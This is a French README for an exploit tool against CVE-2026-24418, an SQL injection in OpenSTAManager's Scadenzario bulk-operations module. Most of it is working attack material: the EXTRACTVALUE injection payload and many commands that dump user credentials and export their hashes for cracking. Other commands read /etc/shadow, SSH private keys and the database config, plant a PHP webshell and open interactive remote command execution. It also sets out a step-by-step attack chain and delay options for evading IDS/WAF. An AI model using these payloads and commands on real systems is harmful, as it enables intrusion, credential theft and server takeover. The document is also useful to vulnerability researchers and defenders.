
OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection SQL basée sur les erreurs dans le gestionnaire d'opérations en masse du module Scadenzario (Échéancier de paiement).
OpenSTAManager <= 2.9.8 — Injection SQL basée sur les erreurs dans le module d'opérations en masse Scadenzario
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-24418 |
| Sévérité | ÉLEVÉE (8.8) |
| CWE | CWE-89: Injection SQL |
| Versions affectées | OpenSTAManager <= 2.9.8 |
| Paramètre vulnérable | id_records[] (tableau POST) |
| Point d'accès vulnérable | /actions.php?id_module=18 |
| Type d'attaque | Injection SQL basée sur les erreurs (EXTRACTVALUE) |
| Authentification | Requise (tout compte utilisateur valide) |
OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection SQL basée sur les erreurs dans le gestionnaire d'opérations en masse du module Scadenzario (Échéancier de paiement). L'application ne valide pas que les éléments du tableau id_records[] sont des entiers avant de les utiliser dans une clause SQL IN(), permettant à des attaquants authentifiés d'injecter des commandes SQL arbitraires et d'extraire des données sensibles via les messages d'erreur XPATH.
/actions.php reçoit id_records[] via POSTarray_clean() supprime uniquement les valeurs vides, NE valide PAS les types de données/modules/scadenzario/bulk.php passe les valeurs non assainies directement dans une clause SQL IN()git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# Connexion avec identifiants
python3 exploit.py -t http://target.com -u admin -p password --info
# Utiliser un cookie de session existant
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# Informations de la base de données + privilèges + identifiants utilisateur
python3 exploit.py -t http://target.com -u admin -p secret --all
# Vérifier les privilèges MySQL (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# Extraire les utilisateurs et exporter automatiquement les hashs
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# Fichiers générés :
# ./loot/users.json - Données complètes des utilisateurs
# ./loot/users.csv - Format CSV
# ./loot/hashes_hashcat.txt - Format Hashcat (mode 3200)
# ./loot/hashes_john.txt - Format John (utilisateur:hash)
# Lister toutes les bases de données
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# Lister les tables dans une base de données spécifique
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# Lister les colonnes d'une table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# Extraire des colonnes spécifiques avec limite de lignes
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# Lire /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# Lire la configuration de l'application (identifiants de base de données)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# Lire les clés SSH
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# Mode HEX (contourner les filtres de caractères)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# Télécharger une webshell (détection automatique de la racine web)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Télécharger une webshell avec une racine web spécifique
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# Session shell interactive
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE télécharge automatiquement la webshell si elle n'existe pas
# Tout sauvegarder dans un répertoire
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# Fichiers générés :
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Via le proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# Avec délai entre les requêtes (2 secondes)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# Ignorer la vérification SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k
Cible :
-t, --target URL de base de la cible
Authentification :
-u, --user Nom d'utilisateur pour la connexion
-p, --password Mot de passe pour la connexion
-c, --cookie Valeur PHPSESSID existante
Énumération :
-D, --database Nom de la base de données cible
-T, --table Nom de la table cible
-C, --columns-list Colonnes à extraire (séparées par des virgules)
--limit Limite de lignes pour les extractions
Actions :
--info Informations du serveur de base de données
--users Extraire les identifiants de zz_users
--dbs Énumérer les bases de données
--tables Lister les tables
--columns Lister les colonnes (nécessite -T)
--dump Extraire les données (nécessite -T et -C)
--sql QUERY Requête SQL personnalisée
--all Exécuter --info + --privs + --users
--privs Vérifier les privilèges MySQL
Opérations sur fichiers :
--file-read PATH Lire un fichier via LOAD_FILE()
--file-read-hex PATH Lire un fichier via encodage HEX
Exécution de code à distance :
--webshell Télécharger une webshell PHP
--webroot PATH Chemin de la racine web pour le téléchargement de la shell
--rce Exécution de commandes interactive
Sortie :
-o, --output DIR Sauvegarder les résultats dans un répertoire
Réseau :
-m, --module-id ID du module (par défaut : 18)
--proxy URL du proxy HTTP
-k, --no-ssl-verify Désactiver la vérification SSL
--delay Délai entre les requêtes en secondes
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
EXTRACTVALUE() de MySQL retourne au maximum ~32 caractères via les erreurs XPATH. L'outil découpe automatiquement les longs résultats avec SUBSTRING() :
SUBSTRING((<query>), 1, 31) -- Morceau 1
SUBSTRING((<query>), 32, 31) -- Morceau 2
...
Note technique sur le contexte basé sur les erreurs : Bien que
--webshellet--rcesoient inclus pour une couverture maximale, MySQL interdit strictement l'utilisation deINTO DUMPFILEdans une sous-requête ou une clauseIN()(ce qui est exactement le point d'injection de cette CVE).Par conséquent, écrire des fichiers directement via cette injection basée sur les erreurs échouera généralement avec une erreur de syntaxe sauf si :
- L'environnement cible autorise les requêtes empilées (très rare dans les configurations PHP/PDO modernes).
- Vous parvenez à faire pivoter la payload vers une injection UNION.
Si vous confirmez les privilèges
FILEvia--privs, votre meilleure option est d'utiliser--file-readet--file-read-hex, carLOAD_FILE()fonctionne parfaitement dans les sous-requêtes basées sur les erreurs.
Lorsque le privilège FILE est disponible et que les contraintes le permettent :
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── reçoit id_records[]
└── array_clean() ─── supprime uniquement les valeurs vides
└── bulk.php (L88) ─── construit la clause SQL IN()
└── Database.php (L289) ─── exécute la requête non assainie
└── l'erreur XPATH divulgue les données
1. --privs → Vérifier le privilège FILE
2. --users → Extraire les identifiants, exporter les hashs
3. --file-read → Lire config.inc.php pour les identifiants DB
4. --file-read → Lire /etc/passwd pour les noms d'utilisateur
5. --webshell → Télécharger une webshell PHP
6. --rce → Shell interactive → pivot
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive.
| Fonctionnalité | Description |
|---|
--info | Empreinte du serveur de base de données (version, utilisateur, nom d'hôte, OS, chemins) |
--privs | Énumération des privilèges MySQL (FILE, SUPER, PROCESS) |
--users | Extraction complète des identifiants de zz_users avec export automatique des hashs |
--dbs | Énumérer toutes les bases de données accessibles |
--tables | Lister les tables avec le nombre de lignes |
--columns | Lister les colonnes avec les types et les informations nullable |
--dump | Exfiltration de données depuis n'importe quelle table/colonne |
--sql | Exécution de requêtes SQL personnalisées |
--file-read | Lire des fichiers serveur via LOAD_FILE() (/etc/passwd, fichiers de configuration, clés SSH) |
--file-read-hex | Lecture de fichier encodé en HEX pour contourner les filtres |
--webshell | Télécharger une webshell PHP via INTO DUMPFILE |
--rce | Exécution de commandes interactive via la webshell téléchargée |
-o / --output | Sauvegarder tous les résultats aux formats JSON, CSV et hashcat/john |
--proxy | Support de proxy HTTP (Burp Suite) |
--delay | Limitation des requêtes pour contourner IDS/WAF |